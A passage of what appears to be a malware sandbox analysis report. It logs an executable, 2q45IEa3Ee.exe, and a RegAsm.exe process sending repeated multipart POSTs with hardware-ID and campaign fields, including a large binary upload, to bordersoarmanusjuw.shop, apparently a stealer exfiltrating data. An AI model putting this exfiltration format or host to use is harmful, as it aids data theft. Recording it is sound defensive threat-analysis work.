{"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5UmpRbYgCQ%2Bt%2B0uMPtYpDZcB1l6q6yYBPIGk3r%2B3Ufn4lv%2FobKugxEAxjg8W7Vm9pInsfUcT%2FrmqoFKWgHnqYv1FnJy4uJZEUllvEWxiKsOohT5TQnq7auck2JnUBXEEzeZPZHpeawYUIA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbc6ed9dcad76-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 13:31:44 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 13:31:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49778	172.67.189.66	443	5948	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:44 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20432 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:44 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 39 42 32 46 46 31 41 46 41 37 34 45 30 38 42 33 39 39 35 32 33 42 36 32 37 33 46 42 46 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"879B2FF1AFA74E08B399523B6273FBFA--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-04-21 13:31:44 UTC	5101	OUT	Data Raw: 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-04-21 13:31:44 UTC	814	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v82t6fmg2b8s29jdn942lopfah; expires=Thu, 15-Aug-2024 07:18:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rdNnIzccPmtu6nAzNj7LQ5QSeUS%2FlG14m9yJm8ECR8Bazzc%2BVu1thAalWI17%2BWy8ju5EyvblhZ8lG4hScR1eNwHCdZQJuFrecYcDsGFuRajsiZMuP3yhrmSKs6JBwAo1EBlKXr5v5MnH%2Bw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbc73bf3db0cd-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 13:31:44 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 13:31:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49779	172.67.189.66	443	5948	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:45 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 7091 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:45 UTC	7091	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 39 42 32 46 46 31 41 46 41 37 34 45 30 38 42 33 39 39 35 32 33 42 36 32 37 33 46 42 46 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"879B2FF1AFA74E08B399523B6273FBFA--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-04-21 13:31:45 UTC	820	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=flcnq1n5shp5g6ovhbd0resgk1; expires=Thu, 15-Aug-2024 07:18:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bFsdi%2FfQ79Yq31%2BwMjHfrktW%2B2drXK1seWqwOfiywGMRpHB7p69Zw%2FG32Xi3XQ%2FD3tq57ethBqnk6idG6P6XxQ3qkeSt64q%2BE7PnozyX3uGqaEUPZ0xSTIOSH6BNiLjmUzHdJ4j%2BbXJrVQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbc7849fab0bd-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 13:31:45 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 13:31:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49780	172.67.189.66	443	5948	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:45 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1388 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:45 UTC	1388	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 39 42 32 46 46 31 41 46 41 37 34 45 30 38 42 33 39 39 35 32 33 42 36 32 37 33 46 42 46 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"879B2FF1AFA74E08B399523B6273FBFA--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-04-21 13:31:46 UTC	810	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=glf1i0drgvimidhkso28j2p950; expires=Thu, 15-Aug-2024 07:18:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0gm8S6SUzDqX41jmdL5rpMNUtR3IddZDLEupRn5a8V8mxr9G1x9h8Lg6pNk%2BDNor5p6DE46PtKO3MoWLBFNsD6k5LjQviLFPGfOZP1d363sVazt7kChScSbTyPwBN9GAgRuCx%2FW0leSoWg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbc7c3bc444d9-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 13:31:46 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 13:31:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49781	172.67.189.66	443	5948	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:47 UTC	290	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 591259 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:47 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 39 42 32 46 46 31 41 46 41 37 34 45 30 38 42 33 39 39 35 32 33 42 36 32 37 33 46 42 46 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"879B2FF1AFA74E08B399523B6273FBFA--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-04-21 13:31:47 UTC	15331	OUT	Data Raw: 26 3a e3 52 b8 55 3a 81 7a a0 c3 65 97 4b aa 7f 57 0f d7 38 70 6c ff 7b e4 20 c4 00 62 3a a7 43 3d 02 40 22 1c b6 99 87 18 c7 a4 c1 3e d8 3f 22 18 c3 fb 4b ae ce 9e 3e b6 0f b5 6e 16 c2 3e 21 08 6d e1 43 de 64 64 22 e0 1b aa 85 92 e0 fd 61 72 65 17 3f 88 d3 61 de 0f c3 10 f6 1b 57 d2 90 9a 56 20 74 1f c7 d5 91 31 b5 f6 40 0b 29 fd 38 98 21 9b a3 c6 ac 5a 47 0a d6 56 13 cf fc 6e b7 66 7f 75 92 09 0d 88 d5 a0 56 40 c7 f2 b9 81 4f 1b fb bb ab 3b cf cd d7 b8 7e ba f6 56 fc 7c 93 f6 5c 54 b5 dc ba fc 94 4e 48 fc 5e 83 91 bb f6 32 14 12 23 03 0d 8b ad a8 4d e5 2e 03 9f 7d d4 63 48 7f ae a3 ee 45 2e 6c e5 12 f5 d2 4c 82 4a 64 ad 20 d2 48 43 dd 97 c4 2f 9c 11 7d e7 b7 7a 4f ee f9 5a b7 24 85 1b 87 86 f4 62 4e ef a7 22 12 4a 82 bf 7c c9 de 2b 53 b4 c1 15 ca d9 4c Data Ascii: &:RU:zeKW8pl{ b:C=@">?"K>n>!mCdd"are?aWV t1@)8!ZGVnfuV@O;~V\|\TNH^2#M.}cHE.lLJd HC/}zOZ$bN"J\|+SL
2024-04-21 13:31:47 UTC	15331	OUT	Data Raw: be 26 1b fc f0 79 bc 31 8b c9 4d 8e 14 3a a6 db c7 10 df fe ec f5 bb 0a 84 e7 02 a3 9b ff c1 6b ef 58 2d d4 59 c3 6a 6a 52 a7 a3 e4 46 6a 63 c0 72 0a 95 f0 4b 6a 38 dd 38 40 fa 24 bc a1 1f 66 1c 4b f0 c2 90 50 0b c7 6f 35 47 6a cd 84 1f ea 30 86 fd db f4 a2 57 bf a1 a3 bd 7c b8 f6 95 68 4b ef 15 39 6d e5 2c 1d ec b3 8f 34 37 fc 2c 92 d4 cb 6f e3 c5 d7 96 7b 68 2b c3 cb 7c 7c 67 58 ff a5 85 39 37 d1 c7 1d 5c cf 92 d8 39 a3 91 92 a6 c3 01 cb 13 83 c5 c5 5b 9d 3f b3 05 0d 06 6e ff 39 25 e0 db b1 9c df 44 34 29 e9 24 bd 64 35 51 9d 63 b5 90 f9 9b 14 b3 fe 66 39 fe a5 1c 2a e2 51 69 52 aa 49 f4 c6 d9 b9 8f 3a 5c 06 dc 14 8b 6e fd 08 d2 b8 40 aa 47 68 42 ed 93 ab fc f3 fa 8a 1e bd 7a 23 dd 02 2e 7d 25 d2 0f 87 99 34 85 96 e0 50 2c 91 ae c7 5f 56 15 92 1e d4 e9 Data Ascii: &y1M:kX-YjjRFjcrKj88@$fKPo5Gj0W\|hK9m,47,o{h+\|\|gX97\9[?n9%D4)$d5Qcf9*QiRI:\n@GhBz#.}%4P,_V
2024-04-21 13:31:47 UTC	15331	OUT	Data Raw: 3f c9 a3 12 73 f7 12 fe a7 45 82 a4 6e 97 b6 aa c6 49 90 57 68 1c 17 fd 48 a3 05 d3 6e e5 97 f0 97 43 52 55 1b bc 51 5d 15 31 62 e0 d7 89 2b 64 75 7c 1d fa 77 a2 3e f3 3b 20 78 af cb b7 43 9b de 39 cd 47 d8 9e ad a1 d1 3c bc a1 85 25 5c db 87 ae 58 26 58 a6 92 c5 48 8e d4 5c 5f db c1 68 b1 dd 65 82 00 ee 6d 80 0d 6c 89 a0 df 58 26 2e f1 ab 29 20 49 92 29 4e 41 f3 74 2f 80 69 d3 c3 1b 53 8b 68 f3 81 c1 b0 80 f7 8f 8e de f9 c1 3a 00 54 c2 cf 0a 01 54 53 56 dc cd 8a 06 e5 89 c7 df db 2e cc 6b 55 6e f4 41 a4 84 cd 1c 11 f8 7d 0b 3d 09 b8 91 f3 83 da 5a e1 9a 98 97 2e 6b cd b8 f2 ef 7f 41 8e 25 32 6d 7c 39 a4 c4 c2 ad a4 e7 66 87 ad 17 39 6a e1 52 e2 cb 5f 0f 85 92 00 9b c8 a8 61 cf cc 5c ad 48 78 14 ec 34 b9 eb 2f f9 68 b6 90 69 84 82 b2 25 14 be ad 96 71 ad Data Ascii: ?sEnIWhHnCRUQ]1b+du\|w>; xC9G<%\X&XH\_hemlX&.) I)NAt/iSh:TTSV.kUnA}=Z.kA%2m\|9f9jR_a\Hx4/hi%q
2024-04-21 13:31:47 UTC	15331	OUT	Data Raw: ce f7 8a 6b 6c c0 92 10 ec da 40 ea 51 ac 02 4d be 1b bd 7e f7 98 a9 0a f6 f7 ca c0 05 5e 8d 28 b2 05 29 c7 2e 94 cb 95 18 8e da 28 e1 89 32 af 64 6a 48 db 5d a0 e6 38 6a 90 b2 60 78 93 5d 8c 62 d1 9e c2 f8 61 59 8e 03 1b 31 df 5b ca 38 e5 68 ae 8f a6 9f e3 79 e1 53 f7 b1 f3 ec e5 61 f2 31 05 b2 0e bc 3f a2 31 5c b5 b9 c1 18 2f 87 cd 76 ed ce 2b aa 44 71 f3 ef 1c 3b b5 07 09 1b 6a 8f bb 97 67 20 77 27 54 74 49 79 df 6e 21 83 cd 9e 81 16 3d 8d 44 a3 82 5d 76 0a f2 c3 e4 24 ee 4e d1 c9 8c 3b fb df b7 3e 26 62 76 32 5d 8c e0 51 6c df 46 3e 55 30 5b 70 3b 36 d6 17 7e ed 24 3a d1 e8 f0 bc 75 76 53 58 20 23 6e 38 3b 10 25 cc aa a8 20 bd 39 e3 40 db ee 7d 28 80 f4 9d b3 1a 8c d1 69 cc ff 49 08 14 be f6 45 6f 8f a0 0c 12 dc 4f 7b 46 ba b7 71 90 a3 d0 ce c3 ea ec Data Ascii: kl@QM~^().(2djH]8j`x]baY1[8hySa1?1\/v+Dq;jg w'TtIyn!=D]v$N;>&bv2]QlF>U0[p;6~$:uvSX #n8;% 9@}(iIEoO{Fq
2024-04-21 13:31:47 UTC	15331	OUT	Data Raw: b6 ab 52 86 75 7d 03 d6 ad aa e0 bc 35 91 3e c2 6f 7a f6 0b a1 ff 01 ca 83 6f 5e 87 65 09 a5 9a 18 34 e3 0a 17 2c ed 42 a7 38 fc 45 bc bd 9a 3d bb 9a 4e 1c 4e 0a 8a 44 38 f1 a4 79 a3 96 2e 29 a6 fb b2 fe 92 4b 9c 33 6e e6 2e 6b 22 ae 9b a5 36 6f 2b 31 32 a6 e3 00 8e 81 fb 79 74 7a 0d c6 0e 12 f1 a3 3f b0 85 5b 53 26 ed 35 38 b3 60 c5 26 ae e9 ef 88 1a 86 55 70 24 fa 61 cf 6e 37 a5 da ea 4b c1 50 3e ac 4b fb f9 75 17 bb f7 e6 e0 63 97 37 6d db 59 a6 74 b7 97 1b f5 57 85 4b c0 a2 a6 18 18 7e d5 ac 28 a5 72 5e ed 75 cb e5 fd af bf 2a de 6e 66 9a 13 16 5a e1 6a 06 93 a5 65 81 19 ea 4c f5 7f 18 b0 d8 44 8a f5 03 eb 6b 22 be f2 bd db 01 85 f3 3f b4 5f b7 95 7e 39 e6 44 67 51 e1 87 6d 87 e3 4e 54 af a0 23 65 7f 14 31 99 78 d1 81 4a ff 2f 48 7f 9a 86 ac 76 4e 5c Data Ascii: Ru}5>ozo^e4,B8E=NND8y.)K3n.k"6o+12ytz?[S&58`&Up$an7KP>Kuc7mYtWK~(r^u*nfZjeLDk"?_~9DgQmNT#e1xJ/HvN\
2024-04-21 13:31:47 UTC	15331	OUT	Data Raw: 53 89 b7 8d c2 69 7a 5d 2d 66 e1 bc c2 e2 6b 8b 49 c5 e8 72 c3 7f 1d df ec 21 86 05 fc 55 c8 3a 83 eb c3 02 53 61 98 b7 40 2c 31 70 f5 e3 da 62 44 52 0e 3f de 15 dc 57 7b f8 aa 4c 68 f1 74 13 02 25 96 53 87 57 13 33 bc 08 5c d2 53 b5 b0 ae 06 52 b9 e4 fe 2f a7 6b 84 24 38 1c 43 69 9b c8 65 5a 20 70 df df cd 8c 26 7d 0b 90 ee ef 28 a5 c2 05 5a 3b b5 18 2c eb 2b a7 d4 1a 31 1d 5d 48 e7 11 af af ef 9a db 22 f8 6b 20 d9 72 2b 27 65 83 cb 7d 00 82 23 ff 98 fb a7 e8 c2 f6 8f 96 20 ad 9b 80 b2 da 69 7d 18 e4 6f 61 3d be 80 85 74 31 c0 d3 47 cd d3 02 c4 34 e5 dc 2e 18 ef 7a 6d af 76 99 5b db 79 5f f0 9a af 64 8d 21 18 ce a9 81 5a 0f b6 66 bf c4 9d 00 d8 06 cc 90 02 55 5e 0c 88 b0 17 ff 1e ea 03 40 e1 05 58 18 4b 3d 82 64 ac 1d 91 99 95 cc ef fa 00 00 bd 4b 19 88 Data Ascii: Siz]-fkIr!U:Sa@,1pbDR?W{Lht%SW3\SR/k$8CieZ p&}(Z;,+1]H"k r+'e}# i}oa=t1G4.zmv[y_d!ZfU^@XK=dK
2024-04-21 13:31:47 UTC	15331	OUT	Data Raw: df 93 1a ad 6a 2f 90 49 59 9e f8 99 ea 28 3f 10 69 77 2d 3f 3d 0d 9d 33 8f 9f cb 54 23 8c 4b 63 11 5c a9 23 87 5e f4 d8 0f 84 1b 62 ec ba 3a 95 ac cb 9a dc 67 f4 32 33 4a 91 7d b2 fb ba 02 d3 69 7b 11 8c 52 b1 ae fb e5 3c 53 16 12 63 ea d2 cc 03 c6 6e 57 4a fd 67 5a bd 1a 5d 67 1f 1c aa e0 eb b6 81 f0 b8 ae 2f ae ff f0 20 b9 e0 21 d6 ce 59 fc 37 b2 a6 c5 c1 9b ce d3 cc 21 57 e2 d8 6c 5a f2 9c c2 b3 9e c0 55 2b 9b 5b 54 2c 25 f0 eb b5 a0 d9 bf bd 64 13 ea c5 2c a3 2b 10 b0 7b 18 39 97 f3 a5 9f 83 5f 9e 0d 96 ab 96 1a ea 53 59 67 2d 3f d3 55 18 52 0b 07 6d bc 40 5b 96 36 c3 c7 44 f1 2d e7 eb c1 6f c1 6f 7e d0 36 2f 2d 0c 1e 0d 81 58 3e a1 ed 6c 45 aa 2f 39 9d dc ab cb 89 bb f1 e5 ce ee 47 9c 0d 89 ec 4b 67 30 6b 57 9c e6 76 75 ce b8 97 b7 0f af ce 0e 33 ea Data Ascii: j/IY(?iw-?=3T#Kc\#^b:g23J}i{R<ScnWJgZ]g/ !Y7!WlZU+[T,%d,+{9_SYg-?URm@[6D-oo~6/-X>lE/9GKg0kWvu3
2024-04-21 13:31:47 UTC	15331	OUT	Data Raw: d9 8d ed 57 07 5e 7a 18 9d 92 74 4a a1 b3 a0 f5 ee 2d 1f 56 47 47 4f ad a3 40 0e 60 d7 3d ff e6 bd e2 3b 1f e1 c4 76 35 a6 8f fc 5a 7f 96 8b 34 d8 70 3f 02 48 2a c4 f6 3f 1b 59 bb ed dc 05 c4 05 10 b2 27 2f cf 9a fa 41 a5 77 b1 3e cf d2 a5 ef 38 58 65 38 67 1b 0b 0b c3 b6 a3 d5 51 21 97 bf d4 1c 96 52 a2 7b 71 4a 12 28 e8 68 43 1e 5e ec 82 69 6e 1b a3 51 98 c1 0e 91 c3 5e ac 49 c1 34 eb 17 5a 86 06 3d d3 e0 e4 50 6f 3c fb 57 a2 39 34 ec 0e 35 65 2a fb 04 df 6a 33 e0 d9 8e d6 9a 8a 6a 8a 51 b5 36 3a 62 b5 2f 10 dd 41 af 5f f3 5c 40 7a b0 21 f3 32 7c 5b ff d6 4f 62 02 4e c0 1b af 2a 7b d4 80 ef e9 bc 46 16 ba 52 33 11 e6 65 9b fa 4b da e6 55 b4 1b 8e f0 29 42 d2 97 1a f9 a9 cb cb 32 9f 88 d2 b8 49 65 b2 50 07 a0 18 f2 ca 04 92 89 17 48 42 94 fd 02 79 6f 6b Data Ascii: W^ztJ-VGGO@`=;v5Z4p?H?Y'/Aw>8Xe8gQ!R{qJ(hC^inQ^I4Z=Po<W945ej3jQ6:b/A_\@z!2\|[ObN*{FR3eKU)B2IePHByok
2024-04-21 13:31:47 UTC	15331	OUT	Data Raw: 79 72 84 b0 72 d8 61 ed 40 9a 6a cc ec c5 b2 c3 f3 ad 93 55 db ed 9e ee 8e 21 6d b9 ec bb ae af de 65 eb 26 07 6c 1f f0 92 9d 7c b6 10 b1 6a 3b 88 1a 31 48 38 77 46 ea 49 ee 42 fe 5b 43 ff 1a ce c1 0d 6d 0b bf 9e ec 32 86 32 61 3a 6e eb f7 d3 ef 56 1d f6 d6 b2 19 b9 29 ab 01 0f 85 55 25 c6 b4 65 c2 e1 9e 62 89 cf 22 e9 72 af 6a 10 81 94 80 bb 66 1a eb d1 c6 98 23 2b 1a 43 0c 0f b8 80 58 4a a4 1c 1f 4c 4e 8f a4 33 b7 9e ba 99 43 b0 60 b4 8e b2 3f f3 d1 26 62 f7 ac a5 a3 51 74 67 76 2f ca 4c fc bc 4f fb 79 3a 1d 4e ab af 4c f1 b4 37 f5 b0 8e d4 e6 c4 ee 18 e8 81 22 8f b0 1f 7b 78 f6 42 a7 29 87 74 96 07 82 58 bd d1 4c 03 99 0f 17 75 dd 1e 89 e7 33 62 5b 9c 69 88 10 df 35 db 68 c7 f1 c2 60 96 f0 2e 7c f2 56 e3 21 52 93 78 04 9d 15 a0 9c e1 98 cc 32 a5 b9 ca Data Ascii: yrra@jU!me&l\|j;1H8wFIB[Cm22a:nV)U%eb"rjf#+CXJLN3C`?&bQtgv/LOy:NL7"{xB)tXLu3b[i5h`.\|V!Rx2
2024-04-21 13:31:48 UTC	812	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p13gcp42003vkk63m9mkmvmk07; expires=Thu, 15-Aug-2024 07:18:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hyFYCE%2FMA7fxeH7lE3gnUa1f%2B2MAqdmeeQj8%2BqqmFBnDANksx5f6MIj8tX4i6eY59J7oOziniwg3qu0EPCjFAfG5OCiMFWtmVQXImrR0yuenYPRpTD96H7MLuIaX2HEWBkAurdogCTQmzg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbc837e8b4529-ATL alt-svc: h3=":443"; ma=86400

Target ID:	0
Start time:	15:30:56
Start date:	21/04/2024
Path:	C:\Users\user\Desktop\2q45IEa3Ee.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\2q45IEa3Ee.exe"
Imagebase:	0xc60000
File size:	2'551'616 bytes
MD5 hash:	4A36FA7C0CCBC6842C541A6439AB545A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
